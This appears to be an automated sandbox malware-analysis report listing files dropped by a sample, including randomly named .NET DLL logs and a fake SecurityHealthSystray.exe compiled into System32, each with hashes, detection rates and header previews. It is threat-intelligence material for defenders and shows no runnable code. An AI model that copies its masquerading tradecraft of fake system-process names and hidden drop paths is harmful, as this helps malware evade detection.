SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YxwKIJCn.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aWyAiOqN.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\cFtTdbwi.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\cmzTJCKp.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dkabfCZj.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\eqZjkpHb.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hCfixIqA.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.529329139831718
Encrypted:	false
SSDEEP:	384:ka1bzkw+rsI7GpusgGjLtdPh39rHjN61B7oezUCb2sI:ka5z3IifgGjJdPZ9rDYjtzUmI
MD5:	8AE2B8FA17C9C4D99F76693A627307D9
SHA1:	7BABA62A53143FEF9ED04C5830CDC3D2C3928A99
SHA-256:	0B093D4935BD51AC404C2CD2BB59E2C4525B97A4D925807606B04C2D3338A9BE
SHA-512:	DEFDF8E0F950AA0808AA463363B0091C031B289709837770489E25EC07178D19425648A4109F5EFD0A080697FA3E52F63AABF005A4CCD8235DF61BB9A521D793
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ...............................c....@.................................ts..W.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H........O...#...........N......................................................................................................................................................................o+.tEy...7..o.v.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jNBixaWB.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mHEzoazq.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mPnRSJaw.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ruVxRXPe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tUuQbxCC.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.4346552043530165
Encrypted:	false
SSDEEP:	384:fTcm673m4NrYnbspeYMDnw4aU04pWfs8xLDpHEm1r1yNq/:ABNUbfYM8NT4pWkoDxfB4N
MD5:	1DCDE09C6A8CE8F5179FB24D0C5A740D
SHA1:	1A2298CB4E9CAB6F5C2894266F42D7912EDD294B
SHA-256:	1F02230A8536ADB1D6F8DADFD7CA8CA66B5528EC98B15693E3E2F118A29D49D8
SHA-512:	5D3D5B9E6223501B2EE404937C62893BDDB735A2B8657FAFF8C8F4CED55A9537F2C11BA97734F72360195C35CE6C0BF1EC4AAAFD77AB569919B03344ADFD9D77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.....V...........t... ........@.. ....................................@..................................s..S.................................................................................... ............... ..H............text....T... ...V.................. ..`.rsrc................X..............@..@.reloc...............\..............@..B.................s......H........Q..."...........O......................................................................................................................................................................xHz9..T....[.y..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uAOGicXv.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\utwGCCqd.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.4346552043530165
Encrypted:	false
SSDEEP:	384:fTcm673m4NrYnbspeYMDnw4aU04pWfs8xLDpHEm1r1yNq/:ABNUbfYM8NT4pWkoDxfB4N
MD5:	1DCDE09C6A8CE8F5179FB24D0C5A740D
SHA1:	1A2298CB4E9CAB6F5C2894266F42D7912EDD294B
SHA-256:	1F02230A8536ADB1D6F8DADFD7CA8CA66B5528EC98B15693E3E2F118A29D49D8
SHA-512:	5D3D5B9E6223501B2EE404937C62893BDDB735A2B8657FAFF8C8F4CED55A9537F2C11BA97734F72360195C35CE6C0BF1EC4AAAFD77AB569919B03344ADFD9D77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.....V...........t... ........@.. ....................................@..................................s..S.................................................................................... ............... ..H............text....T... ...V.................. ..`.rsrc................X..............@..@.reloc...............\..............@..B.................s......H........Q..."...........O......................................................................................................................................................................xHz9..T....[.y..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vWgyxgGx.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wKkHjuCv.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xHLPEuRq.log

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xnyXtCUT.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.939095014260835
Encrypted:	false
SSDEEP:	48:6ZprPtxM7Jt8Bs3FJsdcV4MKe27oHvqBHOOulajfqXSfbNtm:oPwPc+Vx9MoHvkocjRzNt
MD5:	E570F0514F9DE0480DE7A90D68DD82F9
SHA1:	0AEB95EE05BCC4AC01CAA6C487F41C8BD35F9312
SHA-256:	492714ABA45A0949963B3F6342778893A66E5DAE1B527E373E3E941B415F2837
SHA-512:	38114E8C6757F5803698FF54A26B6BB04EFD2ED0BDE22030D3B6C6ABE201F1AE2AC9AFD02B75A0ED61135B0E7F8C1EA477B060249D5D9CB30C8760C13A44BDF2
Malicious:	true
